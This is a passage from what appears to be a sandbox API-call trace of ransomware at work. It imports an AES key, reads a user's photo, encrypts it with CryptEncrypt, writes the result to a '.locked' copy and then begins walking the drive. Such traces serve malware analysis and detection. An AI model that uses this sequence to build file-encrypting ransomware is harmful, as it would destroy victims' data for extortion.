SystemFunction041 (in: Memory=0x4383164, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383164) returned 0x0 [0135.088] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0N굥ᑋ") returned 0x28 [0135.088] SystemFunction040 (in: Memory=0x4383164, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383164) returned 0x0 [0135.088] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0135.088] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0135.088] SystemFunction041 (in: Memory=0x4383164, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383164) returned 0x0 [0135.088] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTᑋ") returned 0x28 [0135.088] SystemFunction040 (in: Memory=0x4383164, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383164) returned 0x0 [0135.088] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0135.088] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0135.088] SystemFunction041 (in: Memory=0x4383164, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383164) returned 0x0 [0135.088] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTAᑋ") returned 0x28 [0135.088] SystemFunction040 (in: Memory=0x4383164, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383164) returned 0x0 [0135.088] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0135.088] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0135.088] SystemFunction041 (in: Memory=0x4383164, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383164) returned 0x0 [0135.088] SystemFunction040 (in: Memory=0x4383164, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383164) returned 0x0 [0135.088] SystemFunction041 (in: Memory=0x8e316c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e316c4) returned 0x0 [0135.089] SystemFunction040 (in: Memory=0x8e316c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e316c4) returned 0x0 [0135.089] SystemFunction041 (in: Memory=0x8e316c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e316c4) returned 0x0 [0135.089] SystemFunction040 (in: Memory=0x8e316c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e316c4) returned 0x0 [0135.089] SystemFunction041 (in: Memory=0x8e316c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e316c4) returned 0x0 [0135.089] SystemFunction040 (in: Memory=0x8e316c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e316c4) returned 0x0 [0135.089] SystemFunction041 (in: Memory=0x8e316c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e316c4) returned 0x0 [0135.089] SystemFunction040 (in: Memory=0x8e316c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e316c4) returned 0x0 [0135.089] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae968*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae968*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa5, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.089] SystemFunction041 (in: Memory=0x8e316c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e316c4) returned 0x0 [0135.089] SystemFunction040 (in: Memory=0x8e316c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e316c4) returned 0x0 [0135.090] CryptAcquireContextW (in: phProv=0x99ae630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae630*=0x4396e78) returned 1 [0135.090] CryptImportKey (in: hProv=0x4396e78, pbData=0x6a499d8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x99aea04 | out: phKey=0x99aea04*=0x8e84bf8) returned 1 [0135.090] CryptContextAddRef (hProv=0x4396e78, pdwReserved=0x0, dwFlags=0x0) returned 1 [0135.090] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0135.091] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa6, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.091] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa5, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.091] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa6, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa6, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.091] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\J-vG52-IRrqW\\kffcM8HKE.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\j-vg52-irrqw\\kffcm8hke.jpg")) returned 0x20 [0135.092] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\J-vG52-IRrqW\\kffcM8HKE.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\j-vg52-irrqw\\kffcm8hke.jpg")) returned 0x20 [0135.092] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\J-vG52-IRrqW\\kffcM8HKE.jpg", nBufferLength=0x105, lpBuffer=0x99ae058, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\J-vG52-IRrqW\\kffcM8HKE.jpg", lpFilePart=0x0) returned 0x64 [0135.092] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\J-vG52-IRrqW\\kffcM8HKE.jpg", nBufferLength=0x105, lpBuffer=0x99ae01c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\J-vG52-IRrqW\\kffcM8HKE.jpg", lpFilePart=0x0) returned 0x64 [0135.092] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa6, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.092] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\J-vG52-IRrqW\\kffcM8HKE.jpg", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\J-vG52-IRrqW\\kffcM8HKE.jpg", lpFilePart=0x0) returned 0x64 [0135.092] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\J-vG52-IRrqW\\kffcM8HKE.jpg", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\J-vG52-IRrqW\\kffcM8HKE.jpg", lpFilePart=0x0) returned 0x64 [0135.092] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0135.092] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa7, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.092] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa6, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.092] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa7, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa7, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.093] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\J-vG52-IRrqW\\kffcM8HKE.jpg", nBufferLength=0x105, lpBuffer=0x99adb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\J-vG52-IRrqW\\kffcM8HKE.jpg", lpFilePart=0x0) returned 0x64 [0135.093] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0135.093] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\J-vG52-IRrqW\\kffcM8HKE.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\j-vg52-irrqw\\kffcm8hke.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0135.093] GetFileType (hFile=0x858) returned 0x1 [0135.093] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0135.093] GetFileType (hFile=0x858) returned 0x1 [0135.093] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa7, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.093] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x1000\x727a\xe48c\x99a\x2810\x64b\x1228\x64b\xbab0\x42f\x14\x01\x1230\x64b\xd440\x73ae\x20") returned 0x0 [0135.093] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa8, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.093] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa7, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.093] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa8, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa8, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.093] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\J-vG52-IRrqW\\kffcM8HKE.jpg.locked", nBufferLength=0x105, lpBuffer=0x99adb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\J-vG52-IRrqW\\kffcM8HKE.jpg.locked", lpFilePart=0x0) returned 0x6b [0135.093] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0135.094] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\J-vG52-IRrqW\\kffcM8HKE.jpg.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\j-vg52-irrqw\\kffcm8hke.jpg.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x874 [0135.094] GetFileType (hFile=0x874) returned 0x1 [0135.094] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0135.094] GetFileType (hFile=0x874) returned 0x1 [0135.094] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa8, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.094] CryptGenRandom (in: hProv=0x4396e78, dwLen=0x10, pbBuffer=0x6a682ec | out: pbBuffer=0x6a682ec) returned 1 [0135.094] CryptContextAddRef (hProv=0x4396e78, pdwReserved=0x0, dwFlags=0x0) returned 1 [0135.094] CryptDuplicateKey (in: hKey=0x8e84bf8, pdwReserved=0x0, dwFlags=0x0, phKey=0x99ae798 | out: phKey=0x99ae798*=0x8e84fb8) returned 1 [0135.094] CryptContextAddRef (hProv=0x4396e78, pdwReserved=0x0, dwFlags=0x0) returned 1 [0135.094] CryptSetKeyParam (hKey=0x8e84fb8, dwParam=0x4, pbData=0x6a695a8*=0x1, dwFlags=0x0) returned 1 [0135.094] CryptSetKeyParam (hKey=0x8e84fb8, dwParam=0x1, pbData=0x6a69574, dwFlags=0x0) returned 1 [0135.094] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x18b2\x7477\x3b0\x438\x242") returned 0x0 [0135.094] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa9, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.095] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa8, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.095] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa9, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa9, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.095] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa9, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.095] ReadFile (in: hFile=0x858, lpBuffer=0x6a6cb04, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x6a6cb04*, lpNumberOfBytesRead=0x99ae7a8*=0x11b34, lpOverlapped=0x0) returned 1 [0135.095] CryptEncrypt (in: hKey=0x8e84fb8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6a80b10*, pdwDataLen=0x99ae79c*=0x11b30, dwBufLen=0x11b30 | out: pbData=0x6a80b10*, pdwDataLen=0x99ae79c*=0x11b30) returned 1 [0135.095] WriteFile (in: hFile=0x874, lpBuffer=0x6a683ac*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x99ae780, lpOverlapped=0x0 | out: lpBuffer=0x6a683ac*, lpNumberOfBytesWritten=0x99ae780*=0x1000, lpOverlapped=0x0) returned 1 [0135.096] WriteFile (in: hFile=0x874, lpBuffer=0x6a81afc*, nNumberOfBytesToWrite=0x10b44, lpNumberOfBytesWritten=0x99ae780, lpOverlapped=0x0 | out: lpBuffer=0x6a81afc*, lpNumberOfBytesWritten=0x99ae780*=0x10b44, lpOverlapped=0x0) returned 1 [0135.097] ReadFile (in: hFile=0x858, lpBuffer=0x6a6cb04, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x6a6cb04*, lpNumberOfBytesRead=0x99ae7a8*=0x0, lpOverlapped=0x0) returned 1 [0135.097] CryptEncrypt (in: hKey=0x8e84fb8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6a92664*, pdwDataLen=0x99ae7f0*=0x10, dwBufLen=0x10 | out: pbData=0x6a92664*, pdwDataLen=0x99ae7f0*=0x10) returned 1 [0135.097] CryptEncrypt (in: hKey=0x8e84fb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6a92698*, pdwDataLen=0x99ae7f8*=0x0, dwBufLen=0x10 | out: pbData=0x6a92698*, pdwDataLen=0x99ae7f8*=0x10) returned 1 [0135.098] WriteFile (in: hFile=0x874, lpBuffer=0x6a683ac*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x99ae7c8, lpOverlapped=0x0 | out: lpBuffer=0x6a683ac*, lpNumberOfBytesWritten=0x99ae7c8*=0x10, lpOverlapped=0x0) returned 1 [0135.098] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\J-vG52-IRrqW\\kffcM8HKE.jpg", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\J-vG52-IRrqW\\kffcM8HKE.jpg", lpFilePart=0x0) returned 0x64 [0135.098] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0135.098] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xaa, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.098] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa9, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.098] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xaa, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xaa, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.099] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\J-vG52-IRrqW\\kffcM8HKE.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\j-vg52-irrqw\\kffcm8hke.jpg")) returned 0x20 [0135.145] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\J-vG52-IRrqW\\kffcM8HKE.jpg", nBufferLength=0x105, lpBuffer=0x99adfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\J-vG52-IRrqW\\kffcM8HKE.jpg", lpFilePart=0x0) returned 0x64 [0135.145] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0135.145] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0135.145] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0135.145] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0135.145] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0135.145] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0135.145] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0135.146] GetFullPathNameW (in: lpFileName="C:\\Users\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0135.146] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: 